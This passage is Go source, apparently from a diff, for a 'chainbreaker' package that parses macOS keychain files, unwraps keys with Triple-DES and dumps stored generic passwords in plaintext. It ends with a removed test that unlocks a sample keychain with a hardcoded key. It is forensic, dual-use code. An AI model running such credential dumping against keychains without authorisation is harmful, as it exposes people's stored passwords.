hdr.SchemaOffset = binary.BigEndian.Uint32(buf[12:16])
hdr.AuthOffset = binary.BigEndian.Uint32(buf[16:20])
return hdr, nil
}
func parseSchema(buf []byte, offset uint32) (applDBSchema, []uint32, error) {
if int(offset)+schemaSize > len(buf) {
return applDBSchema{}, nil, errors.New("schema offset exceeds file size")
}
schema := applDBSchema{}
start := int(offset)
schema.SchemaSize = binary.BigEndian.Uint32(buf[start : start+4])
schema.TableCount = binary.BigEndian.Uint32(buf[start+4 : start+8])
baseAddr := headerSize + schemaSize
tableList := make([]uint32, schema.TableCount)
for i := 0; i < int(schema.TableCount); i++ {
pos := baseAddr + i*atomSize
if pos+atomSize > len(buf) {
return applDBSchema{}, nil, errors.New("table list exceeds file size")
}
tableList[i] = binary.BigEndian.Uint32(buf[pos : pos+atomSize])
}
return schema, tableList, nil
}
func parseDBBlob(buf []byte) (dbBlob, error) {
if len(buf) < dbBlobSize {
return dbBlob{}, errors.New("db blob buffer too small")
}
blob := dbBlob{}
blob.StartCryptoBlob = binary.BigEndian.Uint32(buf[8:12])
blob.TotalLength = binary.BigEndian.Uint32(buf[12:16])
// Salt and IV are located after the random signature (16 bytes), sequence (4 bytes),
// and DB parameters (8 bytes) inside the blob structure.
blob.Salt = append([]byte{}, buf[44:64]...)
blob.IV = append([]byte{}, buf[64:72]...)
return blob, nil
}
func decodeUnlockKey(hexKey string) ([]byte, error) {
cleaned := strings.TrimSpace(hexKey)
cleaned = strings.TrimPrefix(cleaned, "0x")
key, err := hex.DecodeString(cleaned)
if err != nil {
return nil, fmt.Errorf("unable to decode unlock key: %w", err)
}
if len(key) != keyLength {
return nil, fmt.Errorf("unlock key must be %d bytes (got %d)", keyLength, len(key))
}
return key, nil
}
func (kc *Keychain) buildTableIndex() error {
for idx, offset := range kc.tableList {
if offset == 0 {
continue
}
meta, _, err := kc.getTable(offset)
if err != nil {
continue
}
if _, exists := kc.tableEnum[meta.TableID]; !exists {
kc.tableEnum[meta.TableID] = idx
}
}
if len(kc.tableEnum) == 0 {
return errors.New("unable to derive table index")
}
return nil
}
func (kc *Keychain) getTableOffset(tableID uint32) (uint32, error) {
idx, ok := kc.tableEnum[tableID]
if !ok || idx >= len(kc.tableList) {
return 0, fmt.Errorf("table id %d not present", tableID)
}
return kc.tableList[idx], nil
}
func (kc *Keychain) getTableFromType(tableID uint32) (tableHeader, []uint32, error) {
offset, err := kc.getTableOffset(tableID)
if err != nil {
return tableHeader{}, nil, err
}
return kc.getTable(offset)
}
func (kc *Keychain) getTable(offset uint32) (tableHeader, []uint32, error) {
base := headerSize + int(offset)
if base < 0 || base+tableHeaderSize > len(kc.buf) {
return tableHeader{}, nil, errors.New("table header exceeds file size")
}
meta := tableHeader{}
data := kc.buf[base : base+tableHeaderSize]
meta.TableSize = binary.BigEndian.Uint32(data[0:4])
meta.TableID = binary.BigEndian.Uint32(data[4:8])
meta.RecordCount = binary.BigEndian.Uint32(data[8:12])
meta.Records = binary.BigEndian.Uint32(data[12:16])
meta.IndexesOffset = binary.BigEndian.Uint32(data[16:20])
meta.FreeListHead = binary.BigEndian.Uint32(data[20:24])
meta.RecordNumbersCount = binary.BigEndian.Uint32(data[24:28])
recordBase := base + tableHeaderSize
recordList := make([]uint32, 0, meta.RecordCount)
for idx := 0; idx < int(meta.RecordCount); idx++ {
pos := recordBase + idx*atomSize
if pos+atomSize > len(kc.buf) {
return meta, recordList, errors.New("record offset exceeds file size")
}
value := binary.BigEndian.Uint32(kc.buf[pos : pos+atomSize])
if value != 0 && value%4 == 0 {
recordList = append(recordList, value)
}
}
return meta, recordList, nil
}
func (kc *Keychain) findWrappingKey(master []byte) ([]byte, error) {
start := kc.baseAddr + int(kc.dbblob.StartCryptoBlob)
end := kc.baseAddr + int(kc.dbblob.TotalLength)
if start < 0 || end > len(kc.buf) || start >= end {
return nil, errors.New("db blob cipher bounds invalid")
}
plain, err := kcdecrypt(master, kc.dbblob.IV, kc.buf[start:end])
if err != nil {
return nil, err
}
if len(plain) < keyLength {
return nil, errors.New("db key shorter than expected")
}
return append([]byte{}, plain[:keyLength]...), nil
}
func (kc *Keychain) generateKeyList() error {
_, records, err := kc.getTableFromType(cssmSymmetricKey)
if err != nil {
return err
}
for _, recordOffset := range records {
index, ciphertext, iv, err := kc.getKeyblobRecord(recordOffset)
if err != nil {
continue
}
key, err := keyblobDecryption(ciphertext, iv, kc.dbKey)
if err != nil || len(key) == 0 {
continue
}
kc.keyList[string(index)] = key
}
if len(kc.keyList) == 0 {
return errors.New("no symmetric keys recovered")
}
return nil
}
func (kc *Keychain) getKeyblobRecord(recordOffset uint32) ([]byte, []byte, []byte, error) {
base, err := kc.getBaseAddress(cssmSymmetricKey, recordOffset)
if err != nil {
return nil, nil, nil, err
}
if base+keyBlobRecordHeaderSize > len(kc.buf) {
return nil, nil, nil, errors.New("keyblob header exceeds file size")
}
hdr := keyBlobRecordHeader{}
hdr.RecordSize = binary.BigEndian.Uint32(kc.buf[base : base+4])
_ = binary.BigEndian.Uint32(kc.buf[base+4 : base+8]) // Skip RecordCount
recordStart := base + keyBlobRecordHeaderSize
recordEnd := base + int(hdr.RecordSize)
if recordEnd > len(kc.buf) {
return nil, nil, nil, errors.New("keyblob record exceeds file size")
}
record := kc.buf[recordStart:recordEnd]
if len(record) < keyBlobStructSize {
return nil, nil, nil, errors.New("keyblob structure incomplete")
}
blob, err := parseKeyBlob(record[:keyBlobStructSize])
if err != nil {
return nil, nil, nil, err
}
if blob.Magic != keyBlobMagic {
return nil, nil, nil, errors.New("unexpected keyblob magic")
}
if secureStorageGroup != readASCII(record, int(blob.TotalLength)+8, 4) {
return nil, nil, nil, errors.New("keyblob not part of secure storage group")
}
cipherStart := int(blob.StartCryptoBlob)
cipherEnd := int(blob.TotalLength)
if cipherEnd > len(record) || cipherStart >= cipherEnd {
return nil, nil, nil, errors.New("invalid cipher bounds")
}
cipherText := append([]byte{}, record[cipherStart:cipherEnd]...)
indexStart := int(blob.TotalLength) + 8
indexEnd := indexStart + 20
if indexEnd > len(record) {
return nil, nil, nil, errors.New("key index exceeds record length")
}
index := append([]byte{}, record[indexStart:indexEnd]...)
iv := append([]byte{}, blob.IV...)
return index, cipherText, iv, nil
}
func parseKeyBlob(buf []byte) (keyBlob, error) {
if len(buf) < keyBlobStructSize {
return keyBlob{}, errors.New("key blob buffer too small")
}
kb := keyBlob{}
kb.Magic = binary.BigEndian.Uint32(buf[0:4])
kb.StartCryptoBlob = binary.BigEndian.Uint32(buf[8:12])
kb.TotalLength = binary.BigEndian.Uint32(buf[12:16])
kb.IV = append([]byte{}, buf[16:24]...)
return kb, nil
}
func (kc *Keychain) getBaseAddress(tableID, offset uint32) (int, error) {
switch tableID {
case 23972, 30912:
tableID = 16
}
tableOffset, err := kc.getTableOffset(tableID)
if err != nil {
return 0, err
}
base := headerSize + int(tableOffset)
if offset != 0 {
base += int(offset)
}
if base > len(kc.buf) {
return 0, errors.New("base address exceeds buffer")
}
return base, nil
}
func keyblobDecryption(encryptedblob, iv, dbkey []byte) ([]byte, error) {
plain, err := kcdecrypt(dbkey, magicCMSIV, encryptedblob)
if err != nil {
return nil, err
}
if len(plain) == 0 {
return nil, errors.New("empty plain blob")
}
if len(plain) < 32 {
return nil, errors.New("wrapped blob too short")
}
rev := make([]byte, 32)
for i := 0; i < 32; i++ {
rev[i] = plain[31-i]
}
finalPlain, err := kcdecrypt(dbkey, iv, rev)
if err != nil {
return nil, err
}
if len(finalPlain) < 4 {
return nil, errors.New("final plain too short")
}
key := finalPlain[4:]
if len(key) != keyLength {
return nil, errors.New("invalid unwrapped key length")
}
return append([]byte{}, key...), nil
}
func kcdecrypt(key, iv, data []byte) ([]byte, error) {
if len(data) == 0 {
return nil, errors.New("ciphertext is empty")
}
if len(data)%blockSize != 0 {
return nil, errors.New("ciphertext not aligned to block size")
}
block, err := des.NewTripleDESCipher(key)
if err != nil {
return nil, err
}
if len(iv) != blockSize {
return nil, errors.New("invalid IV length")
}
plain := make([]byte, len(data))
cipher.NewCBCDecrypter(block, iv).CryptBlocks(plain, data)
pad := int(plain[len(plain)-1])
if pad == 0 || pad > blockSize {
return nil, errors.New("invalid padding value")
}
for _, b := range plain[len(plain)-pad:] {
if int(b) != pad {
return nil, errors.New("padding verification failed")
}
}
return plain[:len(plain)-pad], nil
}
func (kc *Keychain) DumpGenericPasswords() ([]genericPassword, error) {
_, records, err := kc.getTableFromType(cssmGenericPassword)
if err != nil {
return nil, err
}
results := make([]genericPassword, 0, len(records))
for _, offset := range records {
rec, err := kc.parseGenericPasswordRecord(offset)
if err != nil {
continue
}
results = append(results, rec)
}
return results, nil
}
func (kc *Keychain) parseGenericPasswordRecord(recordOffset uint32) (genericPassword, error) {
base, err := kc.getBaseAddress(cssmGenericPassword, recordOffset)
if err != nil {
return genericPassword{}, err
}
if base+genericPasswordHeaderSize > len(kc.buf) {
return genericPassword{}, errors.New("generic password header exceeds file size")
}
header, err := parseGenericPasswordHeader(kc.buf[base : base+genericPasswordHeaderSize])
if err != nil {
return genericPassword{}, err
}
recordEnd := base + int(header.RecordSize)
if recordEnd > len(kc.buf) {
return genericPassword{}, errors.New("generic password record exceeds file size")
}
buffer := kc.buf[base+genericPasswordHeaderSize : recordEnd]
ssgp, dbkey := kc.extractSSGP(header, buffer)
password, base64Encoded := decryptSSGP(ssgp, dbkey)
rec := genericPassword{
Description: kc.readLV(base, header.Description),
Creator: kc.readFourChar(base, header.Creator),
Type: kc.readFourChar(base, header.Type),
PrintName: kc.readLV(base, header.PrintName),
Alias: kc.readLV(base, header.Alias),
Account: kc.readLV(base, header.Account),
Service: kc.readLV(base, header.Service),
Created: kc.readKeychainTime(base, header.CreationDate),
LastModified: kc.readKeychainTime(base, header.ModDate),
Password: password,
PasswordBase64: base64Encoded,
}
return rec, nil
}
func parseGenericPasswordHeader(buf []byte) (genericPasswordHeader, error) {
if len(buf) < genericPasswordHeaderSize {
return genericPasswordHeader{}, errors.New("generic password header too small")
}
vals := make([]uint32, 22)
for i := 0; i < 22; i++ {
start := i * 4
vals[i] = binary.BigEndian.Uint32(buf[start : start+4])
}
hdr := genericPasswordHeader{
RecordSize: vals[0],
SSGPArea: vals[4],
CreationDate: vals[6],
ModDate: vals[7],
Description: vals[8],
Comment: vals[9],
Creator: vals[10],
Type: vals[11],
PrintName: vals[13],
Alias: vals[14],
Account: vals[19],
Service: vals[20],
}
return hdr, nil
}
func (kc *Keychain) extractSSGP(header genericPasswordHeader, buffer []byte) (*ssgpBlock, []byte) {
if header.SSGPArea == 0 || int(header.SSGPArea) > len(buffer) {
return nil, nil
}
block, err := parseSSGP(buffer[:header.SSGPArea])
if err != nil {
return nil, nil
}
keyIndex := make([]byte, 0, len(block.Magic)+len(block.Label))
keyIndex = append(keyIndex, block.Magic...)
keyIndex = append(keyIndex, block.Label...)
dbkey, ok := kc.keyList[string(keyIndex)]
if !ok {
return block, nil
}
return block, dbkey
}
func parseSSGP(buf []byte) (*ssgpBlock, error) {
if len(buf) < 28 {
return nil, errors.New("ssgp buffer too small")
}
block := &ssgpBlock{
Magic: append([]byte{}, buf[0:4]...),
Label: append([]byte{}, buf[4:20]...),
IV: append([]byte{}, buf[20:28]...),
EncryptedPassword: append([]byte{}, buf[28:]...),
}
return block, nil
}
func decryptSSGP(block *ssgpBlock, dbkey []byte) (string, bool) {
if block == nil || len(dbkey) == 0 {
return keychainLockedSignature, false
}
plain, err := kcdecrypt(dbkey, block.IV, block.EncryptedPassword)
if err != nil || len(plain) == 0 {
return keychainLockedSignature, false
}
if utf8.Valid(plain) {
return string(plain), false
}
return base64.StdEncoding.EncodeToString(plain), true
}
func (kc *Keychain) readKeychainTime(base int, ptr uint32) string {
if ptr == 0 {
return ""
}
offset := base + maskedPointer(ptr)
if offset < 0 || offset+16 > len(kc.buf) {
return ""
}
raw := bytes.TrimRight(kc.buf[offset:offset+16], "\x00")
if len(raw) == 0 {
return ""
}
parsed, err := time.Parse("20060102150405Z", string(raw))
if err != nil {
return string(raw)
}
return parsed.Format(time.RFC3339)
}
func (kc *Keychain) readFourChar(base int, ptr uint32) string {
if ptr == 0 {
return ""
}
offset := base + maskedPointer(ptr)
if offset < 0 || offset+4 > len(kc.buf) {
return ""
}
return strings.TrimRight(string(kc.buf[offset:offset+4]), "\x00")
}
func (kc *Keychain) readLV(base int, ptr uint32) string {
if ptr == 0 {
return ""
}
offset := base + maskedPointer(ptr)
if offset < 0 || offset+4 > len(kc.buf) {
return ""
}
length := int(binary.BigEndian.Uint32(kc.buf[offset : offset+4]))
padded := alignToWord(length)
start := offset + 4
end := start + padded
if end > len(kc.buf) {
return ""
}
data := kc.buf[start : start+length]
data = bytes.TrimRight(data, "\x00")
return string(data)
}
func maskedPointer(value uint32) int {
return int(value & 0xFFFFFFFE)
}
func alignToWord(value int) int {
if value%4 == 0 {
return value
}
return ((value / 4) + 1) * 4
}
func readASCII(buf []byte, start, length int) string {
if start < 0 || start+length > len(buf) {
return ""
}
return string(buf[start : start+length])
}
-30
View File
@@ -1,30 +0,0 @@
package chainbreaker
import (
"testing"
)
func TestUnlockKeychain(t *testing.T) {
keychain, err := New("./testdata/test.keychain-db", "6d43376c0d257bbaca2c41eded65b3b34a1a96bd19979bde")
if err != nil {
t.Fatalf("Failed to unlock keychain: %v", err)
}
records, err := keychain.DumpGenericPasswords()
if err != nil {
t.Fatal(err)
}
for _, rec := range records {
t.Log("[+] Generic Password Record")
t.Logf(" [-] Service: %s\n", rec.Service)
t.Logf(" [-] Account: %s\n", rec.Account)
t.Logf(" [-] Description: %s\n", rec.Description)
t.Logf(" [-] Created: %s\n", rec.Created)
t.Logf(" [-] Last Modified: %s\n", rec.LastModified)
if rec.PasswordBase64 {
t.Logf(" [-] Base64 Password: %s\n", rec.Password)
} else {
t.Logf(" [-] Password: %s\n", rec.Password)
}
}
}
Binary file not shown.